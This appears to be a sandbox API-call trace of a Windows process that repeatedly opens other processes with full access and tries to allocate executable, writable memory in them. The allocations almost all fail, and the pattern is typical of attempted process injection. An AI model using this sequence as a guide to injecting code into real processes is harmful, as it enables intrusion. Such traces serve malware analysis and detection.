	[0137.369] VirtualAllocEx (hProcess=0x384, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0137.369] GetLastError () returned 0x1e7
	[0137.369] CloseHandle (hObject=0x384) returned 1
	[0137.370] Sleep (dwMilliseconds=0x1f4) 
	[0138.179] SetLastError (dwErrCode=0x0) 
	[0138.179] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x6fc) returned 0x298
	[0138.180] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0138.180] SetLastError (dwErrCode=0x0) 
	[0138.180] VirtualAllocEx (hProcess=0x298, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0138.181] GetLastError () returned 0x1e7
	[0138.181] CloseHandle (hObject=0x298) returned 1
	[0138.181] Sleep (dwMilliseconds=0x1f4) 
	[0138.969] SetLastError (dwErrCode=0x0) 
	[0138.969] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x750) returned 0x228
	[0138.970] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0138.970] SetLastError (dwErrCode=0x0) 
	[0138.970] VirtualAllocEx (hProcess=0x228, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0138.970] GetLastError () returned 0x1e7
	[0138.970] CloseHandle (hObject=0x228) returned 1
	[0138.970] Sleep (dwMilliseconds=0x1f4) 
	[0139.624] SetLastError (dwErrCode=0x0) 
	[0139.624] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x320) returned 0x184
	[0139.624] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0139.624] SetLastError (dwErrCode=0x0) 
	[0139.624] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0139.625] GetLastError () returned 0x1e7
	[0139.625] CloseHandle (hObject=0x184) returned 1
	[0139.625] Sleep (dwMilliseconds=0x1f4) 
	[0140.610] SetLastError (dwErrCode=0x0) 
	[0140.610] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x424) returned 0x3a0
	[0140.611] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0140.611] SetLastError (dwErrCode=0x0) 
	[0140.611] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0140.611] GetLastError () returned 0x1e7
	[0140.611] CloseHandle (hObject=0x3a0) returned 1
	[0140.611] Sleep (dwMilliseconds=0x1f4) 
	[0141.331] SetLastError (dwErrCode=0x0) 
	[0141.331] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7d8) returned 0x3a4
	[0141.332] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0141.332] SetLastError (dwErrCode=0x0) 
	[0141.332] VirtualAllocEx (hProcess=0x3a4, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0141.332] GetLastError () returned 0x1e7
	[0141.332] CloseHandle (hObject=0x3a4) returned 1
	[0141.332] Sleep (dwMilliseconds=0x1f4) 
	[0142.166] SetLastError (dwErrCode=0x0) 
	[0142.166] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x734) returned 0x184
	[0142.166] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0142.166] SetLastError (dwErrCode=0x0) 
	[0142.166] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0142.167] GetLastError () returned 0x1e7
	[0142.167] CloseHandle (hObject=0x184) returned 1
	[0142.167] Sleep (dwMilliseconds=0x1f4) 
	[0143.440] SetLastError (dwErrCode=0x0) 
	[0143.440] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2dc) returned 0x390
	[0143.441] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0143.441] SetLastError (dwErrCode=0x0) 
	[0143.441] VirtualAllocEx (hProcess=0x390, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0143.441] GetLastError () returned 0x1e7
	[0143.441] CloseHandle (hObject=0x390) returned 1
	[0143.442] Sleep (dwMilliseconds=0x1f4) 
	[0145.216] SetLastError (dwErrCode=0x0) 
	[0145.216] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7b4) returned 0x358
	[0145.216] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0145.216] SetLastError (dwErrCode=0x0) 
	[0145.216] VirtualAllocEx (hProcess=0x358, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0145.216] GetLastError () returned 0x1e7
	[0145.217] CloseHandle (hObject=0x358) returned 1
	[0145.217] Sleep (dwMilliseconds=0x1f4) 
	[0146.231] SetLastError (dwErrCode=0x0) 
	[0146.231] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x10c) returned 0x358
	[0146.231] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0146.232] SetLastError (dwErrCode=0x0) 
	[0146.232] VirtualAllocEx (hProcess=0x358, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0146.232] GetLastError () returned 0x1e7
	[0146.232] CloseHandle (hObject=0x358) returned 1
	[0146.232] Sleep (dwMilliseconds=0x1f4) 
	[0147.081] SetLastError (dwErrCode=0x0) 
	[0147.081] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x80c) returned 0x358
	[0147.081] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0147.081] SetLastError (dwErrCode=0x0) 
	[0147.081] VirtualAllocEx (hProcess=0x358, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0147.082] GetLastError () returned 0x1e7
	[0147.082] CloseHandle (hObject=0x358) returned 1
	[0147.082] Sleep (dwMilliseconds=0x1f4) 
	[0148.241] SetLastError (dwErrCode=0x0) 
	[0148.241] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x81c) returned 0x358
	[0148.242] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0148.242] SetLastError (dwErrCode=0x0) 
	[0148.242] VirtualAllocEx (hProcess=0x358, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0148.242] GetLastError () returned 0x1e7
	[0148.242] CloseHandle (hObject=0x358) returned 1
	[0148.243] Sleep (dwMilliseconds=0x1f4) 
	[0149.037] SetLastError (dwErrCode=0x0) 
	[0149.037] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x82c) returned 0x184
	[0149.038] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0149.038] SetLastError (dwErrCode=0x0) 
	[0149.038] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0149.038] GetLastError () returned 0x1e7
	[0149.038] CloseHandle (hObject=0x184) returned 1
	[0149.038] Sleep (dwMilliseconds=0x1f4) 
	[0150.002] SetLastError (dwErrCode=0x0) 
	[0150.002] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x83c) returned 0x184
	[0150.003] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0150.003] SetLastError (dwErrCode=0x0) 
	[0150.003] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0150.003] GetLastError () returned 0x1e7
	[0150.004] CloseHandle (hObject=0x184) returned 1
	[0150.004] Sleep (dwMilliseconds=0x1f4) 
	[0150.897] SetLastError (dwErrCode=0x0) 
	[0150.897] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x84c) returned 0x184
	[0150.898] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0150.898] SetLastError (dwErrCode=0x0) 
	[0150.898] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0150.898] GetLastError () returned 0x1e7
	[0150.898] CloseHandle (hObject=0x184) returned 1
	[0150.898] Sleep (dwMilliseconds=0x1f4) 
	[0151.752] SetLastError (dwErrCode=0x0) 
	[0151.753] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x85c) returned 0x184
	[0151.753] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0151.753] SetLastError (dwErrCode=0x0) 
	[0151.753] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0151.754] GetLastError () returned 0x1e7
	[0151.754] CloseHandle (hObject=0x184) returned 1
	[0151.754] Sleep (dwMilliseconds=0x1f4) 
	[0152.688] SetLastError (dwErrCode=0x0) 
	[0152.688] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x86c) returned 0x184
	[0152.689] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0152.689] SetLastError (dwErrCode=0x0) 
	[0152.689] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0152.690] GetLastError () returned 0x1e7
	[0152.690] CloseHandle (hObject=0x184) returned 1
	[0152.690] Sleep (dwMilliseconds=0x1f4) 
	[0153.858] SetLastError (dwErrCode=0x0) 
	[0153.858] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x87c) returned 0x184
	[0153.858] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0153.858] SetLastError (dwErrCode=0x0) 
	[0153.858] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0153.859] GetLastError () returned 0x1e7
	[0153.859] CloseHandle (hObject=0x184) returned 1
	[0153.859] Sleep (dwMilliseconds=0x1f4) 
	[0154.924] SetLastError (dwErrCode=0x0) 
	[0154.924] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x88c) returned 0x184
	[0154.925] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0154.925] SetLastError (dwErrCode=0x0) 
	[0154.925] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0154.925] GetLastError () returned 0x1e7
	[0154.925] CloseHandle (hObject=0x184) returned 1
	[0154.926] Sleep (dwMilliseconds=0x1f4) 
	[0156.148] SetLastError (dwErrCode=0x0) 
	[0156.148] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x89c) returned 0x184
	[0156.149] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0156.149] SetLastError (dwErrCode=0x0) 
	[0156.149] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0156.149] GetLastError () returned 0x1e7
	[0156.149] CloseHandle (hObject=0x184) returned 1
	[0156.149] Sleep (dwMilliseconds=0x1f4) 
	[0157.168] SetLastError (dwErrCode=0x0) 
	[0157.168] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ac) returned 0x3a0
	[0157.169] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0157.169] SetLastError (dwErrCode=0x0) 
	[0157.169] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0157.169] GetLastError () returned 0x1e7
	[0157.169] CloseHandle (hObject=0x3a0) returned 1
	[0157.170] Sleep (dwMilliseconds=0x1f4) 
	[0158.085] SetLastError (dwErrCode=0x0) 
	[0158.085] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8bc) returned 0x398
	[0158.085] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0158.085] SetLastError (dwErrCode=0x0) 
	[0158.086] VirtualAllocEx (hProcess=0x398, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0158.086] GetLastError () returned 0x1e7
	[0158.086] CloseHandle (hObject=0x398) returned 1
	[0158.086] Sleep (dwMilliseconds=0x1f4) 
	[0158.743] SetLastError (dwErrCode=0x0) 
	[0158.743] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8cc) returned 0x184
	[0158.743] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0158.743] SetLastError (dwErrCode=0x0) 
	[0158.743] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0158.744] GetLastError () returned 0x1e7
	[0158.744] CloseHandle (hObject=0x184) returned 1
	[0158.744] Sleep (dwMilliseconds=0x1f4) 
	[0159.350] SetLastError (dwErrCode=0x0) 
	[0159.350] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8dc) returned 0x278
	[0159.350] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0159.350] SetLastError (dwErrCode=0x0) 
	[0159.350] VirtualAllocEx (hProcess=0x278, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0159.351] GetLastError () returned 0x1e7
	[0159.351] CloseHandle (hObject=0x278) returned 1
	[0159.351] Sleep (dwMilliseconds=0x1f4) 
	[0160.232] SetLastError (dwErrCode=0x0) 
	[0160.232] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ec) returned 0x28c
	[0160.232] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0160.232] SetLastError (dwErrCode=0x0) 
	[0160.232] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0160.233] GetLastError () returned 0x1e7
	[0160.233] CloseHandle (hObject=0x28c) returned 1
	[0160.233] Sleep (dwMilliseconds=0x1f4) 
	[0160.949] SetLastError (dwErrCode=0x0) 
	[0160.949] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8fc) returned 0x28c
	[0160.950] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0160.950] SetLastError (dwErrCode=0x0) 
	[0160.950] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0160.950] GetLastError () returned 0x1e7
	[0160.950] CloseHandle (hObject=0x28c) returned 1
	[0160.950] Sleep (dwMilliseconds=0x1f4) 
	[0161.819] SetLastError (dwErrCode=0x0) 
	[0161.819] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x90c) returned 0x28c
	[0161.819] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0161.819] SetLastError (dwErrCode=0x0) 
	[0161.820] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0161.820] GetLastError () returned 0x1e7
	[0161.820] CloseHandle (hObject=0x28c) returned 1
	[0161.820] Sleep (dwMilliseconds=0x1f4) 
	[0162.467] SetLastError (dwErrCode=0x0) 
	[0162.467] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x91c) returned 0x28c
	[0162.468] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0162.468] SetLastError (dwErrCode=0x0) 
	[0162.468] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0162.469] GetLastError () returned 0x1e7
	[0162.469] CloseHandle (hObject=0x28c) returned 1
	[0162.469] Sleep (dwMilliseconds=0x1f4) 
	[0163.327] SetLastError (dwErrCode=0x0) 
	[0163.327] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x92c) returned 0x28c
	[0163.327] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0163.327] SetLastError (dwErrCode=0x0) 
	[0163.327] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0163.328] GetLastError () returned 0x1e7
	[0163.328] CloseHandle (hObject=0x28c) returned 1
	[0163.328] Sleep (dwMilliseconds=0x1f4) 
	[0163.937] SetLastError (dwErrCode=0x0) 
	[0163.937] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x93c) returned 0x28c
	[0163.937] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0163.937] SetLastError (dwErrCode=0x0) 
	[0163.937] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0163.938] GetLastError () returned 0x1e7
	[0163.938] CloseHandle (hObject=0x28c) returned 1
	[0163.938] Sleep (dwMilliseconds=0x1f4) 
	[0164.569] SetLastError (dwErrCode=0x0) 
	[0164.570] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x94c) returned 0x28c
	[0164.570] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0164.570] SetLastError (dwErrCode=0x0) 
	[0164.570] VirtualAllocEx (hProcess=0x28c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0164.570] GetLastError () returned 0x1e7
	[0164.570] CloseHandle (hObject=0x28c) returned 1
	[0164.571] Sleep (dwMilliseconds=0x1f4) 
	[0165.489] SetLastError (dwErrCode=0x0) 
	[0165.490] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x95c) returned 0x280
	[0165.490] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0165.490] SetLastError (dwErrCode=0x0) 
	[0165.490] VirtualAllocEx (hProcess=0x280, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0165.490] GetLastError () returned 0x1e7
	[0165.490] CloseHandle (hObject=0x280) returned 1
	[0165.490] Sleep (dwMilliseconds=0x1f4) 
	[0166.120] SetLastError (dwErrCode=0x0) 
	[0166.120] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x96c) returned 0x37c
	[0166.120] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0166.120] SetLastError (dwErrCode=0x0) 
	[0166.121] VirtualAllocEx (hProcess=0x37c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0166.121] GetLastError () returned 0x1e7
	[0166.121] CloseHandle (hObject=0x37c) returned 1
	[0166.121] Sleep (dwMilliseconds=0x1f4) 
	[0166.830] SetLastError (dwErrCode=0x0) 
	[0166.831] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x980) returned 0x37c
	[0166.831] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0166.831] SetLastError (dwErrCode=0x0) 
	[0166.831] VirtualAllocEx (hProcess=0x37c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0166.831] GetLastError () returned 0x1e7
	[0166.832] CloseHandle (hObject=0x37c) returned 1
	[0166.832] Sleep (dwMilliseconds=0x1f4) 
	[0167.424] SetLastError (dwErrCode=0x0) 
	[0167.424] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x990) returned 0x3b0
	[0167.425] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0167.425] SetLastError (dwErrCode=0x0) 
	[0167.425] VirtualAllocEx (hProcess=0x3b0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0167.425] GetLastError () returned 0x1e7
	[0167.425] CloseHandle (hObject=0x3b0) returned 1
	[0167.425] Sleep (dwMilliseconds=0x1f4) 
	[0167.998] SetLastError (dwErrCode=0x0) 
	[0167.999] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9a0) returned 0x388
	[0167.999] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0167.999] SetLastError (dwErrCode=0x0) 
	[0167.999] VirtualAllocEx (hProcess=0x388, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0167.999] GetLastError () returned 0x1e7
	[0167.999] CloseHandle (hObject=0x388) returned 1
	[0167.999] Sleep (dwMilliseconds=0x1f4) 
	[0168.620] SetLastError (dwErrCode=0x0) 
	[0168.620] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9b0) returned 0x3a4
	[0168.621] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0168.621] SetLastError (dwErrCode=0x0) 
	[0168.621] VirtualAllocEx (hProcess=0x3a4, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0168.621] GetLastError () returned 0x5
	[0168.621] CloseHandle (hObject=0x3a4) returned 1
	[0168.621] Sleep (dwMilliseconds=0x1f4) 
	[0169.256] SetLastError (dwErrCode=0x0) 
	[0169.256] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9c0) returned 0x3a8
	[0169.256] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0169.256] SetLastError (dwErrCode=0x0) 
	[0169.256] VirtualAllocEx (hProcess=0x3a8, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0169.256] GetLastError () returned 0x1e7
	[0169.257] CloseHandle (hObject=0x3a8) returned 1
	[0169.257] Sleep (dwMilliseconds=0x1f4) 
	[0169.964] SetLastError (dwErrCode=0x0) 
	[0169.964] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9d0) returned 0x3a8
	[0169.964] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0169.964] SetLastError (dwErrCode=0x0) 
	[0169.964] VirtualAllocEx (hProcess=0x3a8, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0169.965] GetLastError () returned 0x1e7
	[0169.965] CloseHandle (hObject=0x3a8) returned 1
	[0169.965] Sleep (dwMilliseconds=0x1f4) 
	[0170.783] SetLastError (dwErrCode=0x0) 
	[0170.784] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9e0) returned 0x3a8
	[0170.784] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0170.784] SetLastError (dwErrCode=0x0) 
	[0170.784] VirtualAllocEx (hProcess=0x3a8, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0170.784] GetLastError () returned 0x1e7
	[0170.784] CloseHandle (hObject=0x3a8) returned 1
	[0170.784] Sleep (dwMilliseconds=0x1f4) 
	[0171.362] SetLastError (dwErrCode=0x0) 
	[0171.362] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9f0) returned 0x354
	[0171.362] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0171.362] SetLastError (dwErrCode=0x0) 
	[0171.362] VirtualAllocEx (hProcess=0x354, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0171.362] GetLastError () returned 0x1e7
	[0171.362] CloseHandle (hObject=0x354) returned 1
	[0171.363] Sleep (dwMilliseconds=0x1f4) 
	[0172.390] SetLastError (dwErrCode=0x0) 
	[0172.390] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa00) returned 0x0
	[0172.390] Sleep (dwMilliseconds=0x1f4) 
	[0173.383] SetLastError (dwErrCode=0x0) 
	[0173.383] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa10) returned 0x37c
	[0173.384] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0173.384] SetLastError (dwErrCode=0x0) 
	[0173.384] VirtualAllocEx (hProcess=0x37c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0173.384] GetLastError () returned 0x1e7
	[0173.384] CloseHandle (hObject=0x37c) returned 1
	[0173.384] Sleep (dwMilliseconds=0x1f4) 
	[0174.022] SetLastError (dwErrCode=0x0) 
	[0174.022] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa20) returned 0x3ac
	[0174.023] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0174.023] SetLastError (dwErrCode=0x0) 
	[0174.023] VirtualAllocEx (hProcess=0x3ac, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0174.023] GetLastError () returned 0x1e7
	[0174.023] CloseHandle (hObject=0x3ac) returned 1
	[0174.023] Sleep (dwMilliseconds=0x1f4) 
	[0174.567] SetLastError (dwErrCode=0x0) 
	[0174.567] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa30) returned 0x3ac
	[0174.567] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0174.567] SetLastError (dwErrCode=0x0) 
	[0174.567] VirtualAllocEx (hProcess=0x3ac, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0174.567] GetLastError () returned 0x1e7
	[0174.568] CloseHandle (hObject=0x3ac) returned 1
	[0174.568] Sleep (dwMilliseconds=0x1f4) 
	[0175.363] SetLastError (dwErrCode=0x0) 
	[0175.363] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa40) returned 0x184
	[0175.364] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0175.364] SetLastError (dwErrCode=0x0) 
	[0175.364] VirtualAllocEx (hProcess=0x184, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0175.364] GetLastError () returned 0x1e7
	[0175.364] CloseHandle (hObject=0x184) returned 1
	[0175.364] Sleep (dwMilliseconds=0x1f4) 
	[0176.463] SetLastError (dwErrCode=0x0) 
	[0176.463] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa50) returned 0x114
	[0176.464] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0176.464] SetLastError (dwErrCode=0x0) 
	[0176.464] VirtualAllocEx (hProcess=0x114, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0176.464] GetLastError () returned 0x1e7
	[0176.464] CloseHandle (hObject=0x114) returned 1
	[0176.464] Sleep (dwMilliseconds=0x1f4) 
	[0177.666] SetLastError (dwErrCode=0x0) 
	[0177.666] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa60) returned 0x3ac
	[0177.666] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0177.666] SetLastError (dwErrCode=0x0) 
	[0177.666] VirtualAllocEx (hProcess=0x3ac, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0177.666] GetLastError () returned 0x1e7
	[0177.666] CloseHandle (hObject=0x3ac) returned 1
	[0177.667] Sleep (dwMilliseconds=0x1f4) 
	[0178.491] SetLastError (dwErrCode=0x0) 
	[0178.491] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa70) returned 0x3ac
	[0178.491] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0178.491] SetLastError (dwErrCode=0x0) 
	[0178.491] VirtualAllocEx (hProcess=0x3ac, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0178.492] GetLastError () returned 0x1e7
	[0178.492] CloseHandle (hObject=0x3ac) returned 1
	[0178.492] Sleep (dwMilliseconds=0x1f4) 
	[0179.520] SetLastError (dwErrCode=0x0) 
	[0179.520] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa80) returned 0x280
	[0179.521] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0179.521] SetLastError (dwErrCode=0x0) 
	[0179.521] VirtualAllocEx (hProcess=0x280, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0179.521] GetLastError () returned 0x1e7
	[0179.521] CloseHandle (hObject=0x280) returned 1
